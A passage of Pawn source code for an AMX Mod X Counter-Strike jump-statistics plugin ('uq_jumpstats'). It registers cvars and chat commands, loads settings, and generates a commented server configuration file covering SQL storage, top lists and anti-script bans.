kz_uq_mscj = register_cvar("kz_uq_mscj", "1");
kz_uq_dropscj = register_cvar("kz_uq_dropscj", "1");
kz_uq_dropdscj = register_cvar("kz_uq_dropdscj", "1");
kz_uq_dropmscj = register_cvar("kz_uq_dropmscj", "1");
kz_uq_duckbhop = register_cvar("kz_uq_duckbhop", "1");
kz_uq_bhopinduck = register_cvar("kz_uq_bhopinduck", "1");
kz_uq_realldbhop = register_cvar("kz_uq_realldbhop", "1");
kz_uq_upbj = register_cvar("kz_uq_upbj", "1");
kz_uq_upbhopinduck = register_cvar("kz_uq_upbhopinduck", "1");
kz_uq_upsbj = register_cvar("kz_uq_upsbj", "1");
kz_uq_multibhop = register_cvar("kz_uq_multibhop", "1");
kz_uq_dropdcj = register_cvar("kz_uq_dropdcj", "1");
kz_uq_dropmcj = register_cvar("kz_uq_dropmcj", "1");
kz_uq_light = register_cvar("kz_uq_light", "1");
kz_uq_connect = register_cvar("kz_uq_connect", "abcdefghijklmn");
kz_uq_fps = register_cvar("kz_uq_fps", "0");
kz_uq_top = register_cvar("kz_uq_save_top", "1");
kz_uq_maptop = register_cvar("kz_uq_maptop", "1");
kz_uq_team = register_cvar("kz_uq_team", "1");
kz_uq_istrafe = register_cvar("kz_uq_istrafes", "0");
max_edge = register_cvar("kz_uq_max_block", "290");
min_edge = register_cvar("kz_uq_min_block", "100");
min_pre = register_cvar("kz_uq_min_pre", "60");
kz_uq_min_other = register_cvar("kz_uq_min_dist_other", "120");
kz_uq_extras = register_cvar("kz_uq_save_extras_top", "1");
max_strafes = register_cvar("kz_uq_max_strafes", "9999");
screenshoot = register_cvar("kz_uq_screenshoot", "0");
sql_stats = register_cvar("kz_uq_sql", "0");
web_stats = register_cvar("kz_uq_web", "0");
uq_host = register_cvar("kz_uq_host", "127.0.0.1");
uq_user = register_cvar("kz_uq_user", "root");
uq_pass = register_cvar("kz_uq_pass", "");
uq_db = register_cvar("kz_uq_db", "uq_jumpstats");
allow_info = register_cvar("kz_uq_demo_info", "1");
weapon_top = register_cvar("kz_uq_weapons_top", "1");
weapon_block_top = register_cvar("kz_uq_block_weapons", "1");
kz_uq_url = register_cvar("kz_uq_url","http://localhost/uq_jumpstats/index.php?type=lj&from_game=true");
kz_uq_block_top = register_cvar("kz_uq_block_top", "1");
kz_uq_bug=register_cvar("kz_uq_bug_check", "1");
kz_uq_noslow=register_cvar("kz_uq_noslowdown", "1");
kz_uq_admins = register_cvar("kz_uq_only_admins", "0");
kz_uq_script_detection = register_cvar("kz_uq_script_detection", "0");
kz_uq_update_auth = register_cvar("kz_uq_update_auth", "1");
kz_uq_script_notify = register_cvar("kz_uq_script_notify", "0");
kz_uq_script_punishment = register_cvar("kz_uq_script_punishment", "0");
kz_uq_script_work = register_cvar("kz_uq_script_work", "2");
kz_uq_ban_type = register_cvar("kz_uq_ban_type", "0");
kz_uq_ban_authid = register_cvar("kz_uq_ban_authid", "0");
kz_uq_ban_minutes = register_cvar("kz_uq_ban_minutes", "45");
kz_uq_block_chat_show = register_cvar("kz_uq_block_chat_show", "1");
kz_uq_block_chat_min = register_cvar("kz_uq_block_chat_min", "1");
kz_uq_speed_allteam = register_cvar("kz_uq_speed_allteam", "1");
register_cvar( "uq_jumpstats", VERSION, FCVAR_SERVER|FCVAR_SPONLY);
register_concmd("amx_reset_uqtops","reset_tops",ADMIN_CVAR ,"reset all tops");
register_clcmd( "say /strafe", "streif_stats" , ADMIN_ALL, "- enabled/disables");
register_clcmd( "say /strafes", "streif_stats" , ADMIN_ALL, "- enabled/disables");
register_clcmd( "say /strafestat", "streif_stats" , ADMIN_ALL, "- enabled/disables");
register_clcmd( "say /strafestats", "streif_stats" , ADMIN_ALL, "- enabled/disables");
register_clcmd( "say /showpre", "show_pre" , ADMIN_ALL, "- enabled/disables");
register_clcmd( "say /duck", "pre_stats" , ADMIN_ALL, "- enabled/disables");
register_clcmd( "say /ducks", "pre_stats" , ADMIN_ALL, "- enabled/disables");
register_clcmd( "say /uqstats", "cmdljStats", ADMIN_ALL, "- enabled/disables" );
register_clcmd( "say /ljstats", "cmdljStats", ADMIN_ALL, "- enabled/disables" );
register_clcmd( "say /stats", "cmdljStats", ADMIN_ALL, "- enabled/disables" );
register_clcmd( "say /heigh", "heightshow", ADMIN_ALL, "- enabled/disables" );
register_clcmd( "say /fall", "heightshow", ADMIN_ALL, "- enabled/disables" );
register_clcmd( "say /uqversion", "cmdVersion", ADMIN_ALL);
register_clcmd( "say uqversion", "cmdVersion", ADMIN_ALL);
register_clcmd("say /uqbeam", "cmdljbeam", ADMIN_ALL);
register_clcmd("say /beam", "cmdljbeam", ADMIN_ALL);
register_clcmd("say /ljbeam", "cmdljbeam", ADMIN_ALL);
register_clcmd("say /speed", "show_speed", ADMIN_ALL);
register_clcmd("say /colorchat", "cmdColorChat", ADMIN_ALL);
register_clcmd("say /bhopwarn", "show_early", ADMIN_ALL);
register_clcmd("say /multibhop", "multi_bhop", ADMIN_ALL);
register_clcmd("say /duckspre", "duck_show", ADMIN_ALL);
register_clcmd("say /duckpre", "duck_show", ADMIN_ALL);
register_clcmd("say /ljpre", "lj_show", ADMIN_ALL);
register_clcmd("say /prelj", "lj_show", ADMIN_ALL);
register_clcmd("say /uqsound", "enable_sounds", ADMIN_ALL);
register_clcmd("say /uqsounds", "enable_sounds", ADMIN_ALL);
register_clcmd("say /failedge", "ShowedgeFail", ADMIN_ALL);
register_clcmd("say /failedg", "ShowedgeFail", ADMIN_ALL);
register_clcmd("say /edgefail", "ShowedgeFail", ADMIN_ALL);
register_clcmd("say /edgfail", "ShowedgeFail", ADMIN_ALL);
register_clcmd("say /edge", "Showedge", ADMIN_ALL);
register_clcmd("say /edg", "Showedge", ADMIN_ALL);
register_clcmd("say /joftrainer", "trainer_jof", ADMIN_ALL);
register_clcmd("say joftrainer", "trainer_jof", ADMIN_ALL);
register_clcmd("say /joftr", "trainer_jof", ADMIN_ALL);
register_clcmd("say /speedt", "speed_type", ADMIN_ALL);
register_clcmd("say /jof", "show_jof", ADMIN_ALL);
register_clcmd("say jof", "show_jof", ADMIN_ALL);
register_clcmd("say /jheigh", "show_jheight", ADMIN_ALL);
register_clcmd("say /istrafe", "ingame_st_stats", ADMIN_ALL);
register_clcmd("say /options", "Option", ADMIN_ALL);
register_clcmd("say /ljsmenu", "Option", ADMIN_ALL);
register_clcmd("say /ljsmenu2", "Option2", ADMIN_ALL);
register_clcmd("say /uqmenu", "Option", ADMIN_ALL);
register_clcmd("say /option", "Option", ADMIN_ALL);
register_menucmd(register_menuid("StatsOptionMenu1"), 1023, "OptionMenu1");
register_menucmd(register_menuid("StatsOptionMenu2"), 1023, "OptionMenu2");
register_menucmd(register_menuid("StatsOptionMenu3"), 1023, "OptionMenu3");
edgefriction = get_cvar_pointer("edgefriction");
mp_footsteps = get_cvar_pointer("mp_footsteps");
sv_cheats = get_cvar_pointer("sv_cheats");
sv_gravity = get_cvar_pointer("sv_gravity");
sv_airaccelerate = get_cvar_pointer("sv_airaccelerate");
sv_maxspeed = get_cvar_pointer("sv_maxspeed");
sv_stepsize = get_cvar_pointer("sv_stepsize");
sv_maxvelocity = get_cvar_pointer("sv_maxvelocity");
register_forward(FM_Touch, "fwdTouch", 1);
register_forward( FM_PlayerPreThink, "fwdPreThink", 0 );
register_forward( FM_PlayerPostThink, "fwdPostThink", 0 );
RegisterHam(Ham_Spawn, "player", "FwdPlayerSpawn", 1);
RegisterHam(Ham_Killed, "player", "FwdPlayerDeath", 1);
RegisterHam(Ham_Touch, "player", "HamTouch");
register_event("ResetHUD","ResetHUD","b");
max_players=get_maxplayers();
ent=find_ent_by_class(-1,"func_ladder");
while( ent > 0 )
{
entity_get_vector ( ent, EV_VEC_maxs, ladderxyz[nLadder] );
entity_get_vector ( ent, EV_VEC_mins, ladderminxyz[nLadder] );
entity_get_vector ( ent, EV_VEC_size, laddersize[nLadder] );
entlist[nLadder]=ent;
ent = find_ent_by_class(ent,"func_ladder");
nLadder++;
}
get_mapname(mapname, 32);
// Logs
new logs[64];
get_localinfo("amxx_logs", logs, 63);
formatex(logs_path, 127, "%s\uq_jumpstats.txt", logs);
}
public plugin_natives()
{
register_native("kz_get_configsdir", "native_kz_get_configsdir", 1);
}
public plugin_cfg()
{
new cvarfiles[100], uqpath[64];
kz_get_configsdir(uqpath, 63);
formatex(cvarfiles, 99, "%s/%s", uqpath, KZ_CVARSDIR);
if( file_exists(cvarfiles) )
{
server_cmd("exec %s", cvarfiles);
server_exec();
}
uq_min_pre=get_pcvar_num(min_pre);
uq_maxedge=get_pcvar_num(max_edge);
uq_minedge=get_pcvar_num(min_edge);
kz_sql=get_pcvar_num(sql_stats);
web_sql=get_pcvar_num(web_stats);
rankby = get_pcvar_num(kz_top_rank_by);
uq_team=get_pcvar_num(kz_uq_team);
uq_istrafe=get_pcvar_num(kz_uq_istrafe);
NSTRAFES1=get_pcvar_num(max_strafes);
stats_x=get_pcvar_float(kz_stats_x);
stats_y=get_pcvar_float(kz_stats_y);
strafe_x=get_pcvar_float(kz_strafe_x);
strafe_y=get_pcvar_float(kz_strafe_y);
duck_x=get_pcvar_float(kz_duck_x);
duck_y=get_pcvar_float(kz_duck_y);
prest_r=get_pcvar_num(kz_prest_r);
prest_g=get_pcvar_num(kz_prest_g);
prest_b=get_pcvar_num(kz_prest_b);
prest_x=get_pcvar_float(kz_prest_x);
prest_y=get_pcvar_float(kz_prest_y);
h_prest=get_pcvar_num(hud_pre);
h_stats=get_pcvar_num(hud_stats);
h_duck=get_pcvar_num(hud_duck);
h_streif=get_pcvar_num(hud_streif);
stats_r=get_pcvar_num(kz_stats_red);
stats_b=get_pcvar_num(kz_stats_blue);
stats_g=get_pcvar_num(kz_stats_green);
f_stats_r=get_pcvar_num(kz_failstats_red);
f_stats_b=get_pcvar_num(kz_failstats_blue);
f_stats_g=get_pcvar_num(kz_failstats_green);
uq_lj=get_pcvar_num(kz_uq_lj);
uq_cj=get_pcvar_num(kz_uq_cj);
uq_dcj=get_pcvar_num(kz_uq_dcj);
uq_mcj=get_pcvar_num(kz_uq_mcj);
uq_ladder=get_pcvar_num(kz_uq_ladder);
uq_ldbj=get_pcvar_num(kz_uq_ldbj);
uq_bj=get_pcvar_num(kz_uq_bj);
uq_sbj=get_pcvar_num(kz_uq_sbj);
uq_drbj=get_pcvar_num(kz_uq_drbj);
uq_drsbj=get_pcvar_num(kz_uq_drsbj);
uq_drcj=get_pcvar_num(kz_uq_drcj);
uq_wj=get_pcvar_num(kz_uq_wj);
uq_dscj=get_pcvar_num(kz_uq_dscj);
uq_mscj=get_pcvar_num(kz_uq_mscj);
uq_dropscj=get_pcvar_num(kz_uq_dropscj);
uq_dropdscj=get_pcvar_num(kz_uq_dropdscj);
uq_dropmscj=get_pcvar_num(kz_uq_dropmscj);
uq_duckbhop=get_pcvar_num(kz_uq_duckbhop);
uq_bhopinduck=get_pcvar_num(kz_uq_bhopinduck);
uq_realldbhop=get_pcvar_num(kz_uq_realldbhop);
uq_upbj=get_pcvar_num(kz_uq_upbj);
uq_upbhopinduck=get_pcvar_num(kz_uq_upbhopinduck);
uq_upsbj=get_pcvar_num(kz_uq_upsbj);
uq_multibhop=get_pcvar_num(kz_uq_multibhop);
uq_dropdcj=get_pcvar_num(kz_uq_dropdcj);
uq_dropmcj=get_pcvar_num(kz_uq_dropmcj);
dcj_god_dist=get_pcvar_num(kz_god_dcj);
dcj_leet_dist=get_pcvar_num(kz_leet_dcj);
dcj_holy_dist=get_pcvar_num(kz_holy_dcj);
dcj_pro_dist=get_pcvar_num(kz_pro_dcj);
dcj_good_dist=get_pcvar_num(kz_good_dcj);
lj_god_dist=get_pcvar_num(kz_god_lj);
lj_leet_dist=get_pcvar_num(kz_leet_lj);
lj_holy_dist=get_pcvar_num(kz_holy_lj);
lj_pro_dist=get_pcvar_num(kz_pro_lj);
lj_good_dist=get_pcvar_num(kz_good_lj);
ladder_god_dist=get_pcvar_num(kz_god_ladder);
ladder_leet_dist=get_pcvar_num(kz_leet_ladder);
ladder_holy_dist=get_pcvar_num(kz_holy_ladder);
ladder_pro_dist=get_pcvar_num(kz_pro_ladder);
ladder_good_dist=get_pcvar_num(kz_good_ladder);
wj_god_dist=get_pcvar_num(kz_god_wj);
wj_leet_dist=get_pcvar_num(kz_leet_wj);
wj_holy_dist=get_pcvar_num(kz_holy_wj);
wj_pro_dist=get_pcvar_num(kz_pro_wj);
wj_good_dist=get_pcvar_num(kz_good_wj);
bj_god_dist=get_pcvar_num(kz_god_bj);
bj_leet_dist=get_pcvar_num(kz_leet_bj);
bj_holy_dist=get_pcvar_num(kz_holy_bj);
bj_pro_dist=get_pcvar_num(kz_pro_bj);
bj_good_dist=get_pcvar_num(kz_good_bj);
cj_god_dist=get_pcvar_num(kz_god_cj);
cj_leet_dist=get_pcvar_num(kz_leet_cj);
cj_holy_dist=get_pcvar_num(kz_holy_cj);
cj_pro_dist=get_pcvar_num(kz_pro_cj);
cj_good_dist=get_pcvar_num(kz_good_cj);
dbj_god_dist=get_pcvar_num(kz_god_dbj);
dbj_leet_dist=get_pcvar_num(kz_leet_dbj);
dbj_holy_dist=get_pcvar_num(kz_holy_dbj);
dbj_pro_dist=get_pcvar_num(kz_pro_dbj);
dbj_good_dist=get_pcvar_num(kz_good_dbj);
scj_god_dist=get_pcvar_num(kz_god_scj);
scj_leet_dist=get_pcvar_num(kz_leet_scj);
scj_holy_dist=get_pcvar_num(kz_holy_scj);
scj_pro_dist=get_pcvar_num(kz_pro_scj);
scj_good_dist=get_pcvar_num(kz_good_scj);
dropscj_god_dist=get_pcvar_num(kz_god_dropscj);
dropscj_leet_dist=get_pcvar_num(kz_leet_dropscj);
dropscj_holy_dist=get_pcvar_num(kz_holy_dropscj);
dropscj_pro_dist=get_pcvar_num(kz_pro_dropscj);
dropscj_good_dist=get_pcvar_num(kz_good_dropscj);
bhopinduck_god_dist=get_pcvar_num(kz_god_bhopinduck);
bhopinduck_leet_dist=get_pcvar_num(kz_leet_bhopinduck);
bhopinduck_holy_dist=get_pcvar_num(kz_holy_bhopinduck);
bhopinduck_pro_dist=get_pcvar_num(kz_pro_bhopinduck);
bhopinduck_good_dist=get_pcvar_num(kz_good_bhopinduck);
upbj_god_dist=get_pcvar_num(kz_god_upbj);
upbj_leet_dist=get_pcvar_num(kz_leet_upbj);
upbj_holy_dist=get_pcvar_num(kz_holy_upbj);
upbj_pro_dist=get_pcvar_num(kz_pro_upbj);
upbj_good_dist=get_pcvar_num(kz_good_upbj);
upsbj_god_dist=get_pcvar_num(kz_god_upsbj);
upsbj_leet_dist=get_pcvar_num(kz_leet_upsbj);
upsbj_holy_dist=get_pcvar_num(kz_holy_upsbj);
upsbj_pro_dist=get_pcvar_num(kz_pro_upsbj);
upsbj_good_dist=get_pcvar_num(kz_good_upsbj);
real_god_dist=get_pcvar_num(kz_god_real);
real_leet_dist=get_pcvar_num(kz_leet_real);
real_holy_dist=get_pcvar_num(kz_holy_real);
real_pro_dist=get_pcvar_num(kz_pro_real);
real_good_dist=get_pcvar_num(kz_good_real);
duckbhop_god_dist=get_pcvar_num(kz_god_duckbhop);
duckbhop_leet_dist=get_pcvar_num(kz_leet_duckbhop);
duckbhop_holy_dist=get_pcvar_num(kz_holy_duckbhop);
duckbhop_pro_dist=get_pcvar_num(kz_pro_duckbhop);
duckbhop_good_dist=get_pcvar_num(kz_good_duckbhop);
leg_settings=get_pcvar_num(kz_legal_settings);
uq_airaccel=get_pcvar_num( kz_airaccelerate );
min_distance=get_pcvar_num(kz_min_dcj);
min_distance_other=get_pcvar_num(kz_uq_min_other);
max_distance=get_pcvar_num(MAX_DISTANCE);
uq_sounds=get_pcvar_num(kz_sounds);
uq_light=get_pcvar_num( kz_uq_light);
uq_screen=get_pcvar_num(screenshoot);
uq_info=get_pcvar_num(allow_info);
uq_fps=get_pcvar_num(kz_uq_fps);
speed_r=get_pcvar_num(kz_speed_r);
speed_g=get_pcvar_num(kz_speed_g);
speed_b=get_pcvar_num(kz_speed_b);
speed_x=get_pcvar_float(kz_speed_x);
speed_y=get_pcvar_float(kz_speed_y);
h_speed=get_pcvar_num(hud_speed);
kz_top=get_pcvar_num(kz_uq_top);
kz_extras=get_pcvar_num(kz_uq_extras);
kz_weapon=get_pcvar_num(weapon_top);
kz_block_top=get_pcvar_num(kz_uq_block_top);
kz_map_top=get_pcvar_num(kz_uq_maptop);
kz_wpn_block_top=get_pcvar_num(weapon_block_top);
get_pcvar_string(kz_prefix, prefix, 63);
uq_bug=get_pcvar_num(kz_uq_bug);
uq_noslow=get_pcvar_num(kz_uq_noslow);
uq_admins=get_pcvar_num(kz_uq_admins);
uq_script_detection=get_pcvar_num(kz_uq_script_detection);
uq_update_auth=get_pcvar_num(kz_uq_update_auth);
uq_script_notify=get_pcvar_num(kz_uq_script_notify);
uq_script_punishment=get_pcvar_num(kz_uq_script_punishment);
uq_script_work=get_pcvar_num(kz_uq_script_work);
uq_ban_authid=get_pcvar_num(kz_uq_ban_authid);
uq_ban_type=get_pcvar_num(kz_uq_ban_type);
uq_ban_minutes=get_pcvar_num(kz_uq_ban_minutes);
uq_block_chat_min=get_pcvar_num(kz_uq_block_chat_min);
uq_block_chat_show=get_pcvar_num(kz_uq_block_chat_show);
uq_speed_allteam=get_pcvar_num(kz_uq_speed_allteam);
//uq_edgefriction=get_pcvar_num(edgefriction);
//uq_mp_footsteps=get_pcvar_num(mp_footsteps);
//uq_sv_cheats=get_pcvar_num(sv_cheats);
//uq_sv_gravity=get_pcvar_num(sv_gravity);
//uq_sv_airaccelerate=get_pcvar_num(sv_airaccelerate);
//uq_sv_maxspeed=get_pcvar_num(sv_maxspeed);
//uq_sv_stepsize=get_pcvar_num(sv_stepsize);
//uq_sv_maxvelocity=get_pcvar_num(sv_maxvelocity);
if(!file_exists(cvarfiles))
{
kz_make_cvarexec(cvarfiles);
}
new plugin_id=find_plugin_byfile("uq_jumpstats_tops.amxx");
new filename[33],plugin_name[33],plugin_author[33],status[33];
if(plugin_id==-1)
{
log_amx("Can't find uq_jumpstats_tops.amxx");
server_print("[uq_jumpstats] Can't find uq_jumpstats_tops.amxx");
}
else
{
get_plugin(plugin_id,filename,32,plugin_name,32,plugin_ver,32,plugin_author,32,status,32);
if(!equali(plugin_ver,VERSION))
{
set_task(5.0,"Wrong_ver");
}
}
if( leg_settings )
{
set_cvar_string("edgefriction", "2");
set_cvar_string("mp_footsteps", "1");
set_cvar_string("sv_cheats", "0");
set_cvar_string("sv_gravity", "800");
if(uq_airaccel==0 || uq_airaccel==10)
set_cvar_string("sv_airaccelerate", "10");
else if(uq_airaccel==1 || uq_airaccel==100)
set_cvar_string("sv_airaccelerate", "100");
else
{
new str[10];
num_to_str(uq_airaccel,str,9);
set_cvar_string("sv_airaccelerate", str);
}
set_cvar_string("sv_maxspeed", "320");
set_cvar_string("sv_stepsize", "18");
set_cvar_string("sv_maxvelocity", "2000");
}
new dataDir[64];
get_datadir(dataDir, 63);
format(ljsDir, 63, "%s/Topljs", dataDir);
if( !dir_exists(ljsDir) )
mkdir(ljsDir);
if(kz_sql==1)
{
set_task(0.2, "stats_sql");
set_task(1.0, "save_info_sql");
JumpPlayers = TrieCreate();
}
else if(kz_sql==0)
{
JData = TrieCreate();
JData_Block = TrieCreate();
format(ljsDir_block, 63, "%s/Topljs/block_tops", dataDir);
if( !dir_exists(ljsDir_block) )
mkdir(ljsDir_block);
for(new i=0;i<NTECHNUM;i++)
{
read_tops(Type_List[i],i);
read_tops_block(Type_List[i],i);
}
for(new j=0;j<8;j++)
{
new mxspd[11];
num_to_str(weapon_maxspeed(j),mxspd,10);
format(ljsDir_weapon[j], 63, "%s/Top_weapon_speed_%s", ljsDir,mxspd);
format(ljsDir_block_weapon[j], 63, "%s/Top_weapon_speed_%s", ljsDir_block,mxspd);
if( !dir_exists(ljsDir_weapon[j]) )
mkdir(ljsDir_weapon[j]);
if( !dir_exists(ljsDir_block_weapon[j]) )
mkdir(ljsDir_block_weapon[j]);
for(new i=0;i<NWPNTECHNUM;i++)
{
read_tops_weapon(Type_List_weapon[i],i,j);
read_tops_block_weapon(Type_List_weapon[i],i,j);
}
read_tops_block_weapon("hj",9,j);
}
}
}
public Wrong_ver()
{
for(new i=1;i<get_maxplayers();i++)
{
if(is_user_alive(i) && is_user_connected(i))
ColorChat(i, BLUE, "^x04Version^x03 uq_jumpstats.amxx^x01(%s)^x04 different from^x03 uq_jumpstats_tops.amxx^x01(%s)",VERSION,plugin_ver);
}
set_task(5.0,"Wrong_ver");
}
public plugin_precache()
{
gBeam = precache_model( "sprites/zbeam6.spr" );
precache_sound( "misc/impressive.wav" );
precache_sound( "misc/perfect.wav" );
precache_sound( "misc/mod_godlike.wav" );
precache_sound( "misc/holyshit.wav" );
precache_sound( "misc/mod_wickedsick.wav" );
precache_model( "models/hairt.mdl" );
heystats = precache_model( "sprites/zbeam6.spr" );
}
stock kz_make_cvarexec(const config[])
{
new f = fopen(config, "wt");
new stringscvars[256],s_host[101],s_pass[101],s_user[101],s_db[101];
new s_x[10],s_y[10];
fprintf(f, "// Config of JumpStats by BorJomi^n");
fprintf(f, "// Version %s^n",VERSION);
fprintf(f, "^n");
fprintf(f, "// Players commands^n");
fprintf(f, "^n");
fprintf(f, "// say /strafes - on/off statistics Strafes^n");
fprintf(f, "// say /showpre - on/off display prestrafe^n");
fprintf(f, "// say /ducks - on/off statistics ducks for multi cj^n");
fprintf(f, "// say /ljstats - on/off the main statistics^n");
fprintf(f, "// say /uqversion - show version^n");
fprintf(f, "// say /beam - on/off showing the trajectory of the jump^n");
fprintf(f, "// say /speed - on/off display of speed player^n");
fprintf(f, "// say /colorchat - on/off display of color in the chat messages from other players^n");
fprintf(f, "// say /ljsmenu - open the configuration menu^n");
fprintf(f, "// say /ljtop - open TOP10 menu^n");
fprintf(f, "// say /bhopwarn - on/off show message when you bhop prestrafe is fail^n");
fprintf(f, "// say /multibhop - on/off show multi bhop pre^n");
fprintf(f, "// say /duckspre - on/off display prestrafe after each duck^n");
fprintf(f, "// say /ljpre - on/off display prestrafe for LJ^n");
fprintf(f, "// say /failedge - on/off display jumpoff wehn failed without bolock^n");
fprintf(f, "// say /edge - on/off display jumpoff,block,landing^n");
fprintf(f, "// say /heigh - on/off display heigh^n");
fprintf(f, "// say /mylj - on/off myljtop menu^n");
fprintf(f, "// say /wpnlj - on/off weapon top menu^n");
fprintf(f, "// say /jof - on/off showing Jumpoff when press jump button^n");
fprintf(f, "// say /joftr - on/off Jumpoff trainer^n");
fprintf(f, "// say /blocktop - on/off block tops menu^n");
fprintf(f, "// say /jheigh - on/off showing jump heigh^n");
fprintf(f, "// say /istrafe - on/off InGame strafe stats^n");
fprintf(f, "// say /speedt - Big/Small Speed Type^n");
fprintf(f, "^n");
fprintf(f, "// Admin command^n");
fprintf(f, "^n");
fprintf(f, "// amx_reset_uqtops – reset all tops^n");
fprintf(f, "^n");
fprintf(f, "// Cvars^n");
fprintf(f, "^n");
fprintf(f, "// What should work when players connect to the server:^n");
fprintf(f, "// 0 = none^n");
fprintf(f, "// a = colorchat^n");
fprintf(f, "// b = stats^n");
fprintf(f, "// c = speed^n");
fprintf(f, "// d = showpre^n");
fprintf(f, "// e = strafe stats^n");
fprintf(f, "// f = beam^n");
fprintf(f, "// g = duck stats for mcj^n");
fprintf(f, "// h = shows message when your bhop prestrafe is failed^n");
fprintf(f, "// i = show multibhop pre^n");
fprintf(f, "// j = show prestrafe after duck^n");
fprintf(f, "// k = show lj prestrafe^n");
fprintf(f, "// l = show edge^n");
fprintf(f, "// m = show edge when fail (without block)^n");
fprintf(f, "// n = enable sounds^n");
fprintf(f, "// o = enable InGame strafe stats^n");
get_pcvar_string(kz_uq_connect, stringscvars, 255);
fprintf(f, "kz_uq_connect ^"%s^"^n", stringscvars);
fprintf(f, "^n");
fprintf(f, "// Min distance^n");
fprintf(f, "kz_uq_min_dist %i^n", min_distance);
fprintf(f, "^n");
fprintf(f, "// Min distance (Ups bhop, MultiBhop, Real Ladder Bhop, Ducks Bhop, Ladder Jump)^n");
fprintf(f, "kz_uq_min_dist_other %i^n", min_distance_other);
fprintf(f, "^n");
fprintf(f, "// Max distance^n");
fprintf(f, "kz_uq_max_dist %i^n", max_distance);
fprintf(f, "^n");
fprintf(f, "// Showing info about block in ColorChat messages^n");
fprintf(f, "kz_uq_block_chat_show %i^n", uq_block_chat_show);
fprintf(f, "kz_uq_block_chat_min %i //minimum block to show (block more then 0=good,1=pro,2=holy,3=leet,4=god distance cvars)^n", uq_block_chat_min);
fprintf(f, "^n");
fprintf(f, "// Enable stats for admins only^n");
fprintf(f, "kz_uq_only_admins %i^n", uq_admins);
fprintf(f, "^n");
fprintf(f, "// Enable stats for team (0=all,1=T,2=CT)^n");
fprintf(f, "kz_uq_team %i^n", uq_team);
fprintf(f, "^n");
fprintf(f, "// Enable cmd /speed for all team^n");
fprintf(f, "kz_uq_speed_allteam %i^n", uq_speed_allteam);
fprintf(f, "^n");
fprintf(f, "// Allow highlighting after landing (1 = on, 0 = off; works for holy, leet and god distances)^n");
fprintf(f, "kz_uq_light %i^n", uq_light);
fprintf(f, "^n");
fprintf(f, "// Allow sounds (1 = on, 0 = off)^n");
fprintf(f, "kz_uq_sounds %i^n",uq_sounds);
fprintf(f, "^n");
fprintf(f, "// Allow doing ScreenShot if Player going in Top (not work with kz_uq_sql <1> and for map top)^n");
fprintf(f, "kz_uq_screenshoot %i^n",uq_screen);
fprintf(f, "^n");
fprintf(f, "// Allow showing info about stats when you record demo^n");
fprintf(f, "kz_uq_demo_info %i^n",uq_info);
fprintf(f, "^n");
fprintf(f, "// How work Sql Module (1=SQL module enable, 0=disable)^n");
fprintf(f, "kz_uq_sql %i^n",kz_sql);
fprintf(f, "^n");
fprintf(f, "// Enable/Disable Web Top (1=Enable,0=Disable) - if you want standart tops with sql module, turn of web mod^n");
fprintf(f, "kz_uq_web %i^n",web_sql);
fprintf(f, "^n");
get_pcvar_string(uq_host, s_host, 100);
get_pcvar_string(uq_user, s_user, 100);
get_pcvar_string(uq_pass, s_pass, 100);
get_pcvar_string(uq_db, s_db, 100);
fprintf(f, "// Options for Sql Module^n");
fprintf(f, "kz_uq_host ^"%s^"^n",s_host);
fprintf(f, "kz_uq_user ^"%s^"^n",s_user);
fprintf(f, "kz_uq_pass ^"%s^"^n",s_pass);
fprintf(f, "kz_uq_db ^"%s^"^n",s_db);
fprintf(f, "// This Option used only in Showing Top(sql), change this if you use another url on you web server^n");
get_pcvar_string(kz_uq_url, stringscvars, 255);
fprintf(f, "kz_uq_url ^"%s^"^n",stringscvars);
fprintf(f, "kz_uq_update_auth %i //Update in DB Steam and Ip^n",uq_update_auth);
fprintf(f, "^n");
fprintf(f, "// How to save Top10 (2 = steamid, 1 = Ip, 0 = name)^n");
fprintf(f, "kz_uq_top_by %i^n",rankby);
fprintf(f, "^n");
fprintf(f, "kz_uq_save_top %i //On/Off TOP10 (1 = on, 0 = off)^n",kz_top);
fprintf(f, "kz_uq_maptop %i //On/Off MapTop (1 = on, 0 = off)^n",kz_map_top);
fprintf(f, "kz_uq_save_extras_top %i //On/Off Extra Tops (1 = on, 0 = off)^n",kz_extras);
fprintf(f, "kz_uq_weapons_top %i //On/Off Weapon Tops (1 = on, 0 = off)^n",kz_weapon);
fprintf(f, "kz_uq_block_top %i //On/Off Block Tops (1 = on, 0 = off)^n",kz_block_top);
fprintf(f, "kz_uq_block_weapons %i //On/Off Block Tops for other weapons (1 = on, 0 = off)^n",kz_wpn_block_top);
fprintf(f, "^n");
fprintf(f, "// Allow check to legal settings (1 = on, 0 = off)^n");
fprintf(f, "kz_uq_legal_settings %i^n",leg_settings);
fprintf(f, "kz_uq_fps %i //(1=more than 100 FPS jump does not count, 0=count)^n",uq_fps);
fprintf(f, "kz_uq_bug_check %i //Allow checking for bug distance^n",uq_bug);
fprintf(f, "^n");
fprintf(f, "// Anti script(Beta)^n");
fprintf(f, "kz_uq_script_detection %i^n",uq_script_detection);
fprintf(f, "kz_uq_script_work %i //antiscript works if player distance more then (0=good,1=pro,2=holy,3=leet,4=god distance)^n",uq_script_work);
fprintf(f, "kz_uq_script_notify %i //print messages to all people on server with scripter name^n",uq_script_notify);
fprintf(f, "kz_uq_script_punishment %i //(0=nothing,1=kick,2=ban)^n",uq_script_punishment);
fprintf(f, "kz_uq_ban_type %i //(0=standart bans, 1=amxbans)^n",uq_ban_type);
fprintf(f, "kz_uq_ban_minutes %i //ban time in minutes^n",uq_ban_minutes);
fprintf(f, "kz_uq_ban_authid %i //(ban by 0=name,1=ip,2=steam)^n",uq_ban_authid);
fprintf(f, "^n");
get_pcvar_string(kz_prefix, stringscvars, 255);
fprintf(f, "// The prefix for all messages in chat^n");
fprintf(f, "kz_uq_prefix ^"%s^"^n", stringscvars);
fprintf(f, "^n");
fprintf(f, "// How to set up a server by value sv_airaccelerate (Varible=xx, but var=0 reserved for 10aa, var=1 for 100aa)^n");
fprintf(f, "kz_uq_airaccelerate %i^n",uq_airaccel);
fprintf(f, "^n");
fprintf(f, "// On/Off Showing stats with noslowdown^n");
fprintf(f, "kz_uq_noslowdown %i^n",uq_noslow);
fprintf(f, "^n");
fprintf(f, "// Max strafes (if players strafes>Max, stats doesnt shows)^n");
fprintf(f, "kz_uq_max_strafes %i^n",NSTRAFES1);
fprintf(f, "^n");
fprintf(f, "// Allow InGame Strafe Stats (laggy feature)^n");
fprintf(f, "kz_uq_istrafes %i^n",uq_istrafe);
fprintf(f, "^n");
fprintf(f, "// Color Hud message statistics when you jump, in the RGB^n");
fprintf(f, "kz_uq_stats_red %i^n",stats_r);
fprintf(f, "kz_uq_stats_green %i^n",stats_g);
